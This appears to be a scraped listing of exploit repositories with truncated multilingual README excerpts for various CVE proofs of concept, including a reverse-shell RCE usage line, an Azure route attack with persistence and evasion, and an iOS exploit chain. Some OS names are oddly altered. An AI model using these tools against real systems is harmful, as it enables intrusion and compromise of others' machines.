CVE-2026-49417_1day_LPE_exploit

이 저장소에는 README가 없습니다...

CVE-2020-0423

CVE-2020-0423 CVE-2020-0423에 대한 익스플로잇이며, Binder deferred work UAF입니다. 현재 WIP 상태이며, 이는 wired0ut.github.io에서 연재 중인 블로그 게시물 시리즈입니다...

CVE-2026-23744-exploit

このリポジトリには README がありません。...

cve-2026-40369-exploit

ここではhttps://voidsec.com/cve-2026-40369-browser-sandbox-escape/を参考にしたが、https://github.com/orinimron123/CVE-2026-40369-EXPLOITとは考え方が大きく異なり、また彼らが公開しているexpも見当たらなかったため、記録として残しておく。...

CVE-2021-21425-RCE

これは私のバージョンです。インターネットでたくさん見つけましたが、それらは質が悪すぎます。 使用法 root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 待ってください。60秒後にリスナーでシェルを取得できます。...

CVE-2026-39636-vulnerability-exp

1. 실행 전에 반드시 Burp Suite를 열어야 합니다（！！） 기본 Burp Suite 포트는 8080이어야 하며, 다른 포트를 사용하는 경우 직접 변경할 수 있습니다 2. 필요한 라이브러리 다운로드 root@kitploit: pip install websockets==16.0 -i https://pypi.tuna.tsinghua.edu.cn/simple 3. 바로 실행 CVE-2026-39363 단일 이용 스크립트 여기에는 반드시 도메인을 입력해야 합니다. 예: www.baidu.com, 포트는 필요하지 않습니다...

CVE-Wordpress

CVE-2026-49777, CVE-2026-10735 ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup & usage: root@kitploit: Follow every dir project Note: clone from...

CVE-2026-46680

CVE-2026-46680 CVE-2026-46680 漏洞利用...

redis_exploit

このリポジトリには README がありません。...

CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit

CMS-Made-Simple-2.2.10---SQL注入漏洞利用（含Bug修复） 该漏洞利用已修正以支持Python 3 CVE-2019-9053 原始漏洞利用来源：https://www.exploit-db.com/exploits/46635 可能的错误及其修复 Traceback most recent call last: File "46635.py", line 12, in from termcolor import colored ImportError: No module named termcolor 修复方法 pip install termcolor...

Exploit-CVE-2024-34070

CVE-2024-34070 익스플로잇 취약점 발견자 froxlor에게 감사드립니다. 자세한 내용은 여기를 확인하세요. Hack The Box에서 실력을 키워보세요. 익스플로잇...

CVE-2025-54914-PoC

CVE-2025-54914 Azure 경로 익스플로잇 개요 이것은 CVE-2025-54914 Azure Networking 경로 익스플로잇의 개선된 구현입니다. 이 버전은 핵심 CVE 기능을 유지하면서 지속성, 회피, 다중 대상 스캐닝 및 오류 처리와 같은 추가 기능을 제공합니다. 기능 핵심 CVE 기능 경로 생성 : Azure 가상 네트워크에 악성 경로를 생성합니다. 경로 삭제 : 생성된 경로를 정리하기 위해 제거합니다. API 호환성 : Azure Management API 2025-09-01과 함께 작동합니다. 인증 :...

CVE-2025-59284-PoC

CVE-2025-59284 の PoC CVE-2025-59284 libarchive エクスプロイトの概念実証 使用方法： root@kitploit: Usage: Poc.py e.g python poc.py test.pdf '\IP\Share\test.pdf' pdf.tar 技術解説： https://sec-fault.com/blog/cve-2025-59284/ 動画...

ntoskrnl-metadata

ntoskrnl-metadata 用于从 Windows ntoskrnl.exe 二进制文件中提取关键内核元数据的 IDA Python 脚本。该工具可自动提取开发针对 CVE-2026-40369 及其他内核漏洞的利用所需的函数 RVA 和 EPROCESS 结构偏移量。 用途 该工具通过自动提取版本特定的内核元数据（这些元数据必须硬编码到利用载荷中），帮助构建针对 CVE-2026-40369 的成功利用。提取的值可确保在不同 Windows 构建版本和补丁级别下正确进行函数挂钩和结构成员访问。 功能特性 自动函数 RVA 提取 ：检索关键内核函数的 RVA：...

CVE-2026-50657

CVE-2026-50657 CVE-2026-50657 エクスプロイトの影響を受けるオペレーティングシステム: Nese Vista, Nese Server 2008, Nese 7 with Service Pack 2, Nese Server 2008 R2 with Service Pack 1, Nese Storage Server 2012, Nese 9, Nese Server 2012 R2, Nese 10, Nese 11 BETA Nese 7 with Service Pack 2 元のパッチ: 2026年6月30日 Nese 7 Ultimate 26...

glass-cage-i18-2025-24085-and-cve-2025-24201

원본 포크 네트워크 잔존 Glass Cage: iOS 18.2.1 대상 제로클릭 PNG 익스플로잇 체인 CVE-2025-24201 – WebKit 원격 코드 실행 CVE-2025-24085 – Core Media 권한 상승 Apple에 보고: 2025년 1월 9일 패치 적용: 2025년 2월–3월 테스트 기기: iPhone 14 Pro Max iOS 18.2.1 CVSS 기본 점수: 9.8 치명적 요약 Glass Cage 는 iOS 18.2.1을 대상으로 실제 환경in the wild에서 발견된 치명적인 제로클릭 PNG 기반...

CVE-2021-3345

CVE-2021-3345 脆弱性のあるlibgcryptのビルド方法 root@kitploit: git clone --single-branch --branch LIBGCRYPT-1.9-BRANCH https://dev.gnupg.org/source/libgcrypt.git cd libgcrypt git checkout aa3f595341eb ./autogen.sh ./configure --enable-maintainer-mode && make エクスプロイトの使い方 root@kitploit: make ./main...

CVE-2026-77806

root@kitploit: exp.py link instruction scan.py link...

CVE-2026-91091

A vulnerability was identified in GPAC up to f1219cde. The impacted element is the function gfnodelistinsertchild of the file scenegraph/basescenegraph.c of the component Node Insertion. Such manipulation leads to memory corruption. The attack can be launched remotely. The exploit is publicly...

CVE-2026-91089

A vulnerability was found in GPAC up to f1219cde. Impacted is the function gfnodegetnameandid of the file scenegraph/basescenegraph.c. The manipulation results in use after free. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version...